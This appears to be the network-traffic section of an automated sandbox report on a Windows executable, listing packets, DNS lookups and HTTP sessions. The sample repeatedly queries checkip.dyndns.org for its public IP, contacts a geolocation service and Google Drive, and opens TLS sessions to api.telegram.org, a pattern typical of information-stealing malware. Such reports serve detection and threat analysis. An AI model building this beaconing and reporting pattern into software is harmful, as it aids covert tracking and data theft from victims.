Jan 10, 2025 21:26:13.638421059 CET	443	49992	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:13.640352964 CET	49992	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:13.640367985 CET	443	49992	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:13.640578985 CET	49992	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:13.640584946 CET	443	49992	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:13.818754911 CET	443	49992	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:13.818824053 CET	443	49992	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:13.818947077 CET	49992	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:13.819305897 CET	49992	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:13.826349974 CET	49988	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:13.827210903 CET	49998	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:13.831295967 CET	80	49988	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:13.831358910 CET	49988	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:13.832078934 CET	80	49998	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:13.832148075 CET	49998	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:13.832356930 CET	49998	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:13.837085962 CET	80	49998	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:15.409513950 CET	80	49998	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:15.411673069 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:15.411716938 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:15.411856890 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:15.412148952 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:15.412163019 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:15.460863113 CET	49998	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:16.044369936 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:16.047653913 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:16.047669888 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:16.047857046 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:16.047862053 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:16.222280025 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:16.222359896 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:16.222819090 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:16.223006964 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:16.227449894 CET	49998	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:16.228734970 CET	50007	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:16.233534098 CET	80	50007	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:16.235440969 CET	50007	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:16.235554934 CET	50007	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:16.240276098 CET	80	50007	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:16.251821995 CET	80	49998	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:16.252090931 CET	49998	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:16.846008062 CET	80	50007	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:16.847471952 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:16.847520113 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:16.847620964 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:16.847852945 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:16.847866058 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:16.898318052 CET	50007	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:17.583405018 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:17.585360050 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:17.585392952 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:17.585452080 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:17.585463047 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:17.759254932 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:17.759489059 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:17.759567022 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:17.759959936 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:17.762919903 CET	50007	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:17.763947964 CET	50009	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:17.767844915 CET	80	50007	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:17.767927885 CET	50007	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:17.768754959 CET	80	50009	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:17.768825054 CET	50009	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:17.768923044 CET	50009	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:17.773657084 CET	80	50009	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:21.397540092 CET	80	50009	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:21.403759956 CET	50010	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:21.408682108 CET	80	50010	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:21.411087036 CET	50010	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:21.411242008 CET	50010	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:21.416017056 CET	80	50010	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:21.445287943 CET	50009	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:22.824995995 CET	80	50010	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:22.867096901 CET	50010	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:25.191345930 CET	50009	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:25.192147970 CET	50011	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:25.192184925 CET	443	50011	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:25.192259073 CET	50011	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:25.192584991 CET	50011	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:25.192600012 CET	443	50011	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:25.196671009 CET	80	50009	158.101.44.242	192.168.2.8
Jan 10, 2025 21:26:25.196767092 CET	50009	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:26:25.833276987 CET	443	50011	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:25.835258007 CET	50011	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:25.835300922 CET	443	50011	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:25.835352898 CET	50011	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:26:25.835362911 CET	443	50011	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:26.089237928 CET	443	50011	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:26.089324951 CET	443	50011	149.154.167.220	192.168.2.8
Jan 10, 2025 21:26:26.089435101 CET	50011	443	192.168.2.8	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:25:11.850749016 CET	56488	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:25:11.858333111 CET	53	56488	1.1.1.1	192.168.2.8
Jan 10, 2025 21:25:12.982795954 CET	50611	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:25:12.989809990 CET	53	50611	1.1.1.1	192.168.2.8
Jan 10, 2025 21:25:18.406151056 CET	56266	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:25:18.414288044 CET	53	56266	1.1.1.1	192.168.2.8
Jan 10, 2025 21:25:27.074492931 CET	51865	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:25:27.084958076 CET	53	51865	1.1.1.1	192.168.2.8
Jan 10, 2025 21:25:33.571993113 CET	61869	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:25:33.579266071 CET	53	61869	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:25:11.850749016 CET	192.168.2.8	1.1.1.1	0x1505	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:12.982795954 CET	192.168.2.8	1.1.1.1	0xee65	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:18.406151056 CET	192.168.2.8	1.1.1.1	0xbddb	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:27.074492931 CET	192.168.2.8	1.1.1.1	0x1df3	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:33.571993113 CET	192.168.2.8	1.1.1.1	0x3777	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:25:11.858333111 CET	1.1.1.1	192.168.2.8	0x1505	No error (0)	drive.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:12.989809990 CET	1.1.1.1	192.168.2.8	0xee65	No error (0)	drive.usercontent.google.com		216.58.206.33	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:18.414288044 CET	1.1.1.1	192.168.2.8	0xbddb	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:25:18.414288044 CET	1.1.1.1	192.168.2.8	0xbddb	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:18.414288044 CET	1.1.1.1	192.168.2.8	0xbddb	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:18.414288044 CET	1.1.1.1	192.168.2.8	0xbddb	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:18.414288044 CET	1.1.1.1	192.168.2.8	0xbddb	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:18.414288044 CET	1.1.1.1	192.168.2.8	0xbddb	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:27.084958076 CET	1.1.1.1	192.168.2.8	0x1df3	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:27.084958076 CET	1.1.1.1	192.168.2.8	0x1df3	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:27.084958076 CET	1.1.1.1	192.168.2.8	0x1df3	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:27.084958076 CET	1.1.1.1	192.168.2.8	0x1df3	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:27.084958076 CET	1.1.1.1	192.168.2.8	0x1df3	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:27.084958076 CET	1.1.1.1	192.168.2.8	0x1df3	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:27.084958076 CET	1.1.1.1	192.168.2.8	0x1df3	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:33.579266071 CET	1.1.1.1	192.168.2.8	0x3777	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49711	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:18.423686981 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:25:24.552647114 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2079d68900816608a0c6abda4d7ddd3a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:25:24.578846931 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:25:26.742908955 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 935f0d3c70e089e76f9f0c94186aa096 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:25:33.177756071 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:25:33.567478895 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:33 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7e7a1e646270750edae2d37be2fd1821 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49745	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:36.781773090 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:25:37.959285021 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d196f92a07f061c0d37dd372ee9610da Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49757	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:38.896965981 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:25:41.458250046 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8092c89104e39ce8fc493c6d76dea6f4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49783	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:42.278125048 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:25:42.863244057 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: befa73fff03fbeeed290656603f9e3b0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49791	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:43.697879076 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:25:45.259149075 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:45 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 387a7da67e69661bc8f25350dde6d0c7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49813	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:46.181885958 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:25:46.752300978 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:46 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9adb4e4b5af887848980fd5e2b84b0ea Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49820	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:48.486207962 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:25:49.051666975 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:48 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9d9fc2155423770f244531d28b722d50 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49832	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:49.996225119 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:25:50.579760075 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:50 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 63444682730d1d9aaa69528f682706b9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49844	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:51.453834057 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:25:54.057730913 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3f1d99cca4ac8753a61d9a9e83102b9a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49869	158.101.44.242	80	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:25:54.961532116 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:25:58.523112059 CET	745	IN	HTTP/1.1 504 Gateway Time-out Date: Fri, 10 Jan 2025 20:25:58 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive X-Request-ID: 6f0e47e30481533038e17ebc52a3177f Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
